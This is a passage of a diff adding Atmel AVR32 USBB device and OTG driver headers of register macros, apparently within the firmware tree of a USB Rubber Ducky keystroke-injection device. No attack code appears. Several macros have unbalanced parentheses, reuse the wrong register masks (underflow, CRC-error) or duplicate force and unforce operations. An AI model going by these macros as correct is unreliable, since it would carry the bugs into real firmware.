#define Is_udd_memory_allocated(ep) (Tst_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_ALLOC_MASK))
|
||||
|
||||
//! configures selected endpoint in one step
|
||||
#define udd_configure_endpoint(ep, type, dir, size, bank) \
|
||||
(\
|
||||
Wr_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPTYPE_MASK |\
|
||||
AVR32_USBB_UECFG0_EPDIR_MASK |\
|
||||
AVR32_USBB_UECFG0_EPSIZE_MASK |\
|
||||
AVR32_USBB_UECFG0_EPBK_MASK, \
|
||||
(((U32)(type) << AVR32_USBB_UECFG0_EPTYPE_OFFSET) & AVR32_USBB_UECFG0_EPTYPE_MASK) |\
|
||||
(((U32)(dir ) << AVR32_USBB_UECFG0_EPDIR_OFFSET ) & AVR32_USBB_UECFG0_EPDIR_MASK ) |\
|
||||
( (U32)udd_format_endpoint_size(size) << AVR32_USBB_UECFG0_EPSIZE_OFFSET ) |\
|
||||
(((U32)(bank) << AVR32_USBB_UECFG0_EPBK_OFFSET ) & AVR32_USBB_UECFG0_EPBK_MASK ))\
|
||||
)
|
||||
//! tests if current endpoint is configured
|
||||
#define Is_udd_endpoint_configured(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_CFGOK_MASK))
|
||||
//! returns the control direction
|
||||
#define udd_control_direction() (Rd_bitfield(USBB_ARRAY(uesta0(EP_CONTROL), AVR32_USBB_UESTA0_CTRLDIR_MASK))
|
||||
|
||||
//! resets the data toggle sequence
|
||||
#define udd_reset_data_toggle(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RSTDTS_MASK)
|
||||
//! tests if the data toggle sequence is being reset
|
||||
#define Is_udd_data_toggle_reset(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RSTDT_MASK))
|
||||
//! returns data toggle
|
||||
#define udd_data_toggle(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_DTSEQ_MASK))
|
||||
//! @}
|
||||
|
||||
|
||||
//! @name USBB Device control endpoint
|
||||
//! These macros contorl the endpoints.
|
||||
//! @{
|
||||
|
||||
//! @name USBB Device control endpoint interrupts
|
||||
//! These macros control the endpoints interrupts.
|
||||
//! @{
|
||||
//! enables the selected endpoint interrupt
|
||||
#define udd_enable_endpoint_interrupt(ep) (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_EP0INTES_MASK << (ep))
|
||||
//! disables the selected endpoint interrupt
|
||||
#define udd_disable_endpoint_interrupt(ep) (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_EP0INTEC_MASK << (ep))
|
||||
//! tests if the selected endpoint interrupt is enabled
|
||||
#define Is_udd_endpoint_interrupt_enabled(ep) (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_EP0INTE_MASK << (ep)))
|
||||
//! tests if an interrupt is triggered by the selected endpoint
|
||||
#define Is_udd_endpoint_interrupt(ep) (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_EP0INT_MASK << (ep)))
|
||||
//! returns the lowest endpoint number generating an endpoint interrupt or MAX_PEP_NB if none
|
||||
#define udd_get_interrupt_endpoint_number() (ctz(((AVR32_USBB.udint >> AVR32_USBB_UDINT_EP0INT_OFFSET) &\
|
||||
(AVR32_USBB.udinte >> AVR32_USBB_UDINTE_EP0INTE_OFFSET)) |\
|
||||
(1 << MAX_PEP_NB)))
|
||||
//! @}
|
||||
|
||||
//! @name USBB Device control endpoint errors
|
||||
//! These macros control the endpoint errors.
|
||||
//! @{
|
||||
//! enables the STALL handshake
|
||||
#define udd_enable_stall_handshake(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_STALLRQS_MASK)
|
||||
//! disables the STALL handshake
|
||||
#define udd_disable_stall_handshake(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_STALLRQC_MASK)
|
||||
//! tests if STALL handshake request is running
|
||||
#define Is_udd_endpoint_stall_requested(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_STALLRQ_MASK))
|
||||
//! tests if STALL sent
|
||||
#define Is_udd_stall(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_STALLEDI_MASK))
|
||||
//! acks STALL sent
|
||||
#define udd_ack_stall(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_STALLEDIC_MASK)
|
||||
//! raises STALL sent
|
||||
#define udd_raise_stall(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_STALLEDIS_MASK)
|
||||
//! enables STALL sent interrupt
|
||||
#define udd_enable_stall_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_STALLEDES_MASK)
|
||||
//! disables STALL sent interrupt
|
||||
#define udd_disable_stall_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_STALLEDEC_MASK)
|
||||
//! tests if STALL sent interrupt is enabled
|
||||
#define Is_udd_stall_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_STALLEDE_MASK))
|
||||
|
||||
//! tests if NAK OUT received
|
||||
#define Is_udd_nak_out(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_NAKOUTI_MASK))
|
||||
//! acks NAK OUT received
|
||||
#define udd_ack_nak_out(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_NAKOUTIC_MASK)
|
||||
//! raises NAK OUT received
|
||||
#define udd_raise_nak_out(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NAKOUTIS_MASK)
|
||||
//! enables NAK OUT interrupt
|
||||
#define udd_enable_nak_out_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_NAKOUTES_MASK)
|
||||
//! disables NAK OUT interrupt
|
||||
#define udd_disable_nak_out_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_NAKOUTEC_MASK)
|
||||
//! tests if NAK OUT interrupt is enabled
|
||||
#define Is_udd_nak_out_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_NAKOUTE_MASK))
|
||||
|
||||
//! tests if NAK IN received
|
||||
#define Is_udd_nak_in(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_NAKINI_MASK))
|
||||
//! acks NAK IN received
|
||||
#define udd_ack_nak_in(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_NAKINIC_MASK)
|
||||
//! raises NAK IN received
|
||||
#define udd_raise_nak_in(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NAKINIS_MASK)
|
||||
//! enables NAK IN interrupt
|
||||
#define udd_enable_nak_in_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_NAKINES_MASK)
|
||||
//! disables NAK IN interrupt
|
||||
#define udd_disable_nak_in_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_NAKINEC_MASK)
|
||||
//! tests if NAK IN interrupt is enabled
|
||||
#define Is_udd_nak_in_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_NAKINE_MASK))
|
||||
|
||||
//! acks endpoint isochronous overflow interrupt
|
||||
#define udd_ack_overflow_interrupt(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_OVERFIC_MASK)
|
||||
//! raises endpoint isochronous overflow interrupt
|
||||
#define udd_raise_overflow_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_OVERFIS_MASK)
|
||||
//! tests if an overflow occurs
|
||||
#define Is_udd_overflow(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_OVERFI_MASK))
|
||||
//! enables overflow interrupt
|
||||
#define udd_enable_overflow_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_OVERFES_MASK)
|
||||
//! disables overflow interrupt
|
||||
#define udd_disable_overflow_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_OVERFEC_MASK)
|
||||
//! tests if overflow interrupt is enabled
|
||||
#define Is_udd_overflow_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_OVERFE_MASK))
|
||||
|
||||
//! acks endpoint isochronous underflow interrupt
|
||||
#define udd_ack_underflow_interrupt(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_UNDERFIC_MASK)
|
||||
//! raises endpoint isochronous underflow interrupt
|
||||
#define udd_raise_underflow_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_UNDERFIS_MASK)
|
||||
//! tests if an underflow occurs
|
||||
#define Is_udd_underflow(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_UNDERFI_MASK))
|
||||
//! enables underflow interrupt
|
||||
#define udd_enable_underflow_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RXSTPES_MASK)
|
||||
//! disables underflow interrupt
|
||||
#define udd_disable_underflow_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_RXSTPEC_MASK)
|
||||
//! tests if underflow interrupt is enabled
|
||||
#define Is_udd_underflow_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RXSTPE_MASK))
|
||||
|
||||
//! tests if CRC ERROR ISO OUT detected
|
||||
#define Is_udd_crc_error(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_STALLEDI_MASK))
|
||||
//! acks CRC ERROR ISO OUT detected
|
||||
#define udd_ack_crc_error(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_STALLEDIC_MASK)
|
||||
//! raises CRC ERROR ISO OUT detected
|
||||
#define udd_raise_crc_error(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_STALLEDIS_MASK)
|
||||
//! enables CRC ERROR ISO OUT detected interrupt
|
||||
#define udd_enable_crc_error_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_STALLEDES_MASK)
|
||||
//! disables CRC ERROR ISO OUT detected interrupt
|
||||
#define udd_disable_crc_error_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_STALLEDEC_MASK)
|
||||
//! tests if CRC ERROR ISO OUT detected interrupt is enabled
|
||||
#define Is_udd_crc_error_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_STALLEDE_MASK))
|
||||
//! @}
|
||||
|
||||
//! @name USBB Device control endpoint errors
|
||||
//! These macros control the endpoint errors.
|
||||
//! @{
|
||||
|
||||
//! tests if endpoint read allowed
|
||||
#define Is_udd_read_enabled(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RWALL_MASK))
|
||||
//! tests if endpoint write allowed
|
||||
#define Is_udd_write_enabled(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RWALL_MASK))
|
||||
|
||||
//! returns the byte count
|
||||
#define udd_byte_count(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_BYCT_MASK))
|
||||
//! clears FIFOCON bit
|
||||
#define udd_ack_fifocon(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_FIFOCONC_MASK)
|
||||
//! tests if FIFOCON bit set
|
||||
#define Is_udd_fifocon(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_FIFOCON_MASK))
|
||||
|
||||
//! returns the number of busy banks
|
||||
#define udd_nb_busy_bank(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_NBUSYBK_MASK))
|
||||
//! returns the number of the current bank
|
||||
#define udd_current_bank(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_CURRBK_MASK))
|
||||
//! kills last bank
|
||||
#define udd_kill_last_in_bank(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_KILLBKS_MASK)
|
||||
//! tests if last bank killed
|
||||
#define Is_udd_last_in_bank_killed(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_KILLBK_MASK))
|
||||
//! forces all banks full (OUT) or free (IN) interrupt
|
||||
#define udd_force_bank_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NBUSYBKS_MASK)
|
||||
//! unforces all banks full (OUT) or free (IN) interrupt
|
||||
#define udd_unforce_bank_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NBUSYBKS_MASK)
|
||||
//! enables all banks full (OUT) or free (IN) interrupt
|
||||
#define udd_enable_bank_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_NBUSYBKES_MASK)
|
||||
//! disables all banks full (OUT) or free (IN) interrupt
|
||||
#define udd_disable_bank_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_NBUSYBKEC_MASK)
|
||||
//! tests if all banks full (OUT) or free (IN) interrupt enabled
|
||||
#define Is_udd_bank_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_NBUSYBKE_MASK))
|
||||
|
||||
//! tests if SHORT PACKET received
|
||||
#define Is_udd_short_packet(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_SHORTPACKETI_MASK))
|
||||
//! acks SHORT PACKET received
|
||||
#define udd_ack_short_packet(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_SHORTPACKETIC_MASK)
|
||||
//! raises SHORT PACKET received
|
||||
#define udd_raise_short_packet(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_SHORTPACKETIS_MASK)
|
||||
//! enables SHORT PACKET received interrupt
|
||||
#define udd_enable_short_packet_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_SHORTPACKETES_MASK)
|
||||
//! disables SHORT PACKET received interrupt
|
||||
#define udd_disable_short_packet_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_SHORTPACKETEC_MASK)
|
||||
//! tests if SHORT PACKET received interrupt is enabled
|
||||
#define Is_udd_short_packet_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_SHORTPACKETE_MASK))
|
||||
|
||||
//! Get 64-, 32-, 16- or 8-bit access to FIFO data register of selected endpoint.
|
||||
//! @param ep Endpoint of which to access FIFO data register
|
||||
//! @param scale Data scale in bits: 64, 32, 16 or 8
|
||||
//! @return Volatile 64-, 32-, 16- or 8-bit data pointer to FIFO data register
|
||||
//! @warning It is up to the user of this macro to make sure that all accesses
|
||||
//! are aligned with their natural boundaries except 64-bit accesses which
|
||||
//! require only 32-bit alignment.
|
||||
//! @warning It is up to the user of this macro to make sure that used HSB
|
||||
//! addresses are identical to the DPRAM internal pointer modulo 32 bits.
|
||||
#define udd_get_endpoint_fifo_access(ep, scale) \
|
||||
(((volatile TPASTE2(U, scale) (*)[0x10000 / ((scale) / 8)])AVR32_USBB_SLAVE)[(ep)])
|
||||
|
||||
//! @name USBB endpoint DMA drivers
|
||||
//! These macros manage the common features of the endpoint DMA channels.
|
||||
//! @{
|
||||
//! enables the disabling of HDMA requests by endpoint interrupts
|
||||
#define udd_enable_endpoint_int_dis_hdma_req(ep) (USBB_ARRAY(uecon0set(ep) = AVR32_USBB_UECON0SET_EPDISHDMAS_MASK)
|
||||
//! disables the disabling of HDMA requests by endpoint interrupts
|
||||
#define udd_disable_endpoint_int_dis_hdma_req(ep) (USBB_ARRAY(uecon0clr(ep) = AVR32_USBB_UECON0CLR_EPDISHDMAC_MASK)
|
||||
//! tests if the disabling of HDMA requests by endpoint interrupts is enabled
|
||||
#define Is_udd_endpoint_int_dis_hdma_req_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0(ep), AVR32_USBB_UECON0_EPDISHDMA_MASK))
|
||||
|
||||
//! raises the selected endpoint DMA channel interrupt
|
||||
#define udd_raise_endpoint_dma_interrupt(ep) (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_DMA1INTS_MASK << ((ep) - 1))
|
||||
//! tests if an interrupt is triggered by the selected endpoint DMA channel
|
||||
#define Is_udd_endpoint_dma_interrupt(ep) (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_DMA1INT_MASK << ((ep) - 1)))
|
||||
//! enables the selected endpoint DMA channel interrupt
|
||||
#define udd_enable_endpoint_dma_interrupt(ep) (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_DMA1INTES_MASK << ((ep) - 1))
|
||||
//! disables the selected endpoint DMA channel interrupt
|
||||
#define udd_disable_endpoint_dma_interrupt(ep) (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_DMA1INTEC_MASK << ((ep) - 1))
|
||||
//! tests if the selected endpoint DMA channel interrupt is enabled
|
||||
#define Is_udd_endpoint_dma_interrupt_enabled(ep) (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_DMA1INTE_MASK << ((ep) - 1)))
|
||||
|
||||
//! Access points to the USBB device DMA memory map with arrayed registers
|
||||
//! @{
|
||||
//! Structure for DMA registers
|
||||
typedef struct {
|
||||
union {
|
||||
unsigned long nextdesc;
|
||||
avr32_usbb_uddma1_nextdesc_t NEXTDESC;
|
||||
};
|
||||
unsigned long addr;
|
||||
union {
|
||||
unsigned long control;
|
||||
avr32_usbb_uddma1_control_t CONTROL;
|
||||
};
|
||||
union {
|
||||
unsigned long status;
|
||||
avr32_usbb_uddma1_status_t STATUS;
|
||||
};
|
||||
} avr32_usbb_uxdmax_t;
|
||||
//! Structure for DMA registers
|
||||
#define USBB_UDDMA_ARRAY(ep) (((volatile avr32_usbb_uxdmax_t *)&AVR32_USBB.uddma1_nextdesc)[(ep) - 1])
|
||||
|
||||
//! Set control desc to selected endpoint DMA channel
|
||||
#define udd_endpoint_dma_set_control(ep,desc) (USBB_UDDMA_ARRAY(ep).control=desc)
|
||||
//! Get control desc to selected endpoint DMA channel
|
||||
#define udd_endpoint_dma_get_control(ep) (USBB_UDDMA_ARRAY(ep).control)
|
||||
//! Set RAM address to selected endpoint DMA channel
|
||||
#define udd_endpoint_dma_set_addr(ep,add) (USBB_UDDMA_ARRAY(ep).addr=add)
|
||||
//! Get status to selected endpoint DMA channel
|
||||
#define udd_endpoint_dma_get_status(ep) (USBB_UDDMA_ARRAY(ep).status)
|
||||
//! @}
|
||||
//! @}
|
||||
|
||||
//! @}
|
||||
|
||||
//! @name USBB Device control endpoint errors
|
||||
//! These macros control the endpoint errors.
|
||||
//! @{
|
||||
|
||||
//! tests if SETUP received
|
||||
#define Is_udd_setup_received(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RXSTPI_MASK))
|
||||
//! acks SETUP received
|
||||
#define udd_ack_setup_received(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_RXSTPIC_MASK)
|
||||
//! raises SETUP received
|
||||
#define udd_raise_setup_received(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_RXSTPIS_MASK)
|
||||
//! enables SETUP received interrupt
|
||||
#define udd_enable_setup_received_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RXSTPES_MASK)
|
||||
//! disables SETUP received interrupt
|
||||
#define udd_disable_setup_received_interrupt() (USBB_ARRAY(uecon0clr(EP_CONTROL) = AVR32_USBB_UECON0CLR_RXSTPEC_MASK)
|
||||
//! tests if SETUP received interrupt is enabled
|
||||
#define Is_udd_setup_received_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RXSTPE_MASK))
|
||||
|
||||
//! tests if OUT received
|
||||
#define Is_udd_out_received(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RXOUTI_MASK))
|
||||
//! acks OUT received
|
||||
#define udd_ack_out_received(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_RXOUTIC_MASK)
|
||||
//! raises OUT received
|
||||
#define udd_raise_out_received(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_RXOUTIS_MASK)
|
||||
//! enables OUT received interrupt
|
||||
#define udd_enable_out_received_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RXOUTES_MASK)
|
||||
//! disables OUT received interrupt
|
||||
#define udd_disable_out_received_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_RXOUTEC_MASK)
|
||||
//! tests if OUT received interrupt is enabled
|
||||
#define Is_udd_out_received_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RXOUTE_MASK))
|
||||
|
||||
//! tests if IN sending
|
||||
#define Is_udd_in_send(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_TXINI_MASK))
|
||||
//! acks IN sending
|
||||
#define udd_ack_in_send(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_TXINIC_MASK)
|
||||
//! raises IN sending
|
||||
#define udd_raise_in_send(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_TXINIS_MASK)
|
||||
//! enables IN sending interrupt
|
||||
#define udd_enable_in_send_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_TXINES_MASK)
|
||||
//! disables IN sending interrupt
|
||||
#define udd_disable_in_send_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_TXINEC_MASK)
|
||||
//! tests if IN sending interrupt is enabled
|
||||
#define Is_udd_in_send_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_TXINE_MASK))
|
||||
//! @}
|
||||
|
||||
//! @}
|
||||
|
||||
#endif // _USBB_DEVICE_H_
|
234
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_otg.h
Executable file
234
Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_otg.h
Executable file
|
@ -0,0 +1,234 @@
|
|||
/**
|
||||
* \file
|
||||
*
|
||||
* \brief USBB OTG Driver header file.
|
||||
*
|
||||
* Copyright (C) 2009 Atmel Corporation. All rights reserved.
|
||||
*
|
||||
* \page License
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
* this list of conditions and the following disclaimer in the documentation
|
||||
* and/or other materials provided with the distribution.
|
||||
*
|
||||
* 3. The name of Atmel may not be used to endorse or promote products derived
|
||||
* from this software without specific prior written permission.
|
||||
*
|
||||
* 4. This software may only be redistributed and used in connection with an
|
||||
* Atmel AVR product.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED
|
||||
* WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE
|
||||
* EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR
|
||||
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
|
||||
* DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef _USBB_OTG_H_
|
||||
#define _USBB_OTG_H_
|
||||
|
||||
#include "compiler.h"
|
||||
#include "preprocessor.h"
|
||||
|
||||
//! \ingroup usb_group
|
||||
//! \defgroup otg_group USB OTG Driver (OTG)
|
||||
//! USBB low-level driver for OTG features
|
||||
//!
|
||||
//! @warning Bit-masks are used instead of bit-fields because PB registers
|
||||
//! require 32-bit write accesses while AVR32-GCC 4.0.2 builds 8-bit
|
||||
//! accesses even when volatile unsigned int bit-fields are specified.
|
||||
//! @{
|
||||
|
||||
//! @name USBB IP properties
|
||||
//! These macros give access to IP properties
|
||||
//! @{
|
||||
//! Get IP name part 1 or 2
|
||||
#define otg_get_ip_name() (((uint64_t)AVR32_USBB.uname2<<32)|(uint64_t)AVR32_USBB.uname1)
|
||||
//! Instruction to access at a peripheral register after interrupt clear, see AVR32002 - AVR32UC Technical reference $6.6 Memory barriers
|
||||
#define otg_data_memory_barrier() (AVR32_USBB.uvers)
|
||||
//! Get IP version
|
||||
#define otg_get_ip_version() (Rd_bitfield(AVR32_USBB.uvers, AVR32_USBB_UVERS_VERSION_NUM_MASK))
|
||||
//! Get number of metal fixes
|
||||
#define otg_get_metal_fix_nbr() (Rd_bitfield(AVR32_USBB.uvers, AVR32_USBB_UVERS_METAL_FIX_NUM_MASK))
|
||||
//! Get number of hardware-implemented DMA channels
|
||||
#define otg_get_dma_channel_nbr() (Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_DMA_CHANNEL_NBR_MASK))
|
||||
//! Get DMA buffer size
|
||||
#define otg_get_dma_buffer_size() (Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_DMA_BUFFER_SIZE_MASK))
|
||||
//! Get DMA FIFO depth in words
|
||||
#define otg_get_dma_fifo_word_depth() (((Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_DMA_FIFO_WORD_DEPTH_MASK) - 1) & ((1 << AVR32_USBB_UFEATURES_DMA_FIFO_WORD_DEPTH_SIZE) - 1)) + 1)
|
||||
//! Get DPRAM size (FIFO maximal size) in bytes
|
||||
#define otg_get_dpram_size() (128 << Rd_bitfield(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_FIFO_MAX_SIZE_MASK))
|
||||
//! Test if DPRAM is natively byte write capable
|
||||
#define Is_otg_dpram_byte_write_capable() (Tst_bits(AVR32_USBB.ufeatures, AVR32_USBB_UFEATURES_BYTE_WRITE_DPRAM_MASK))
|
||||
//! Get size of USBB PB address space
|
||||
#define otg_get_ip_paddress_size() (AVR32_USBB.uaddrsize)
|
||||
//! @}
|
||||
|
||||
//! @name USBB OTG ID pin management
|
||||
//! These macros manage the ID pin use or not to switch between Host or Device mode
|
||||
//! @{
|
||||
//! Pin and function for USB_ID according to configuration from OTG_ID
|
||||
#define OTG_ID_PIN ATPASTE2(OTG_ID, _PIN)
|
||||
#define OTG_ID_FUNCTION ATPASTE2(OTG_ID, _FUNCTION)
|
||||
|
||||
//! Input OTG_ID from its pin
|
||||
#define otg_input_id_pin() \
|
||||
{\
|
||||
(Tst_bits(OTG_ID_FUNCTION, 0x01)) ?\
|
||||
(AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0s = 1 << (OTG_ID_PIN & 0x1F)) :\
|
||||
(AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0c = 1 << (OTG_ID_PIN & 0x1F)); \
|
||||
(Tst_bits(OTG_ID_FUNCTION, 0x02)) ?\
|
||||
(AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1s = 1 << (OTG_ID_PIN & 0x1F)) :\
|
||||
(AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr1c = 1 << (OTG_ID_PIN & 0x1F)); \
|
||||
AVR32_GPIO.port[OTG_ID_PIN >> 5].gperc = 1 << (OTG_ID_PIN & 0x1F);\
|
||||
AVR32_GPIO.port[OTG_ID_PIN >> 5].puers = 1 << (OTG_ID_PIN & 0x1F);\
|
||||
}
|
||||
//! Test if OTG_ID is input from its pin
|
||||
#define Is_otg_id_pin_input() \
|
||||
( !Tst_bits(AVR32_GPIO.port[OTG_ID_PIN >> 5].gper, 1 << (OTG_ID_PIN & 0x1F)) &&\
|
||||
Tst_bits(AVR32_GPIO.port[OTG_ID_PIN >> 5].pmr0, 1 << (OTG_ID_PIN & 0x1F)) == Tst_bits(OTG_ID_PIN, 0x01) &&\
|
||||
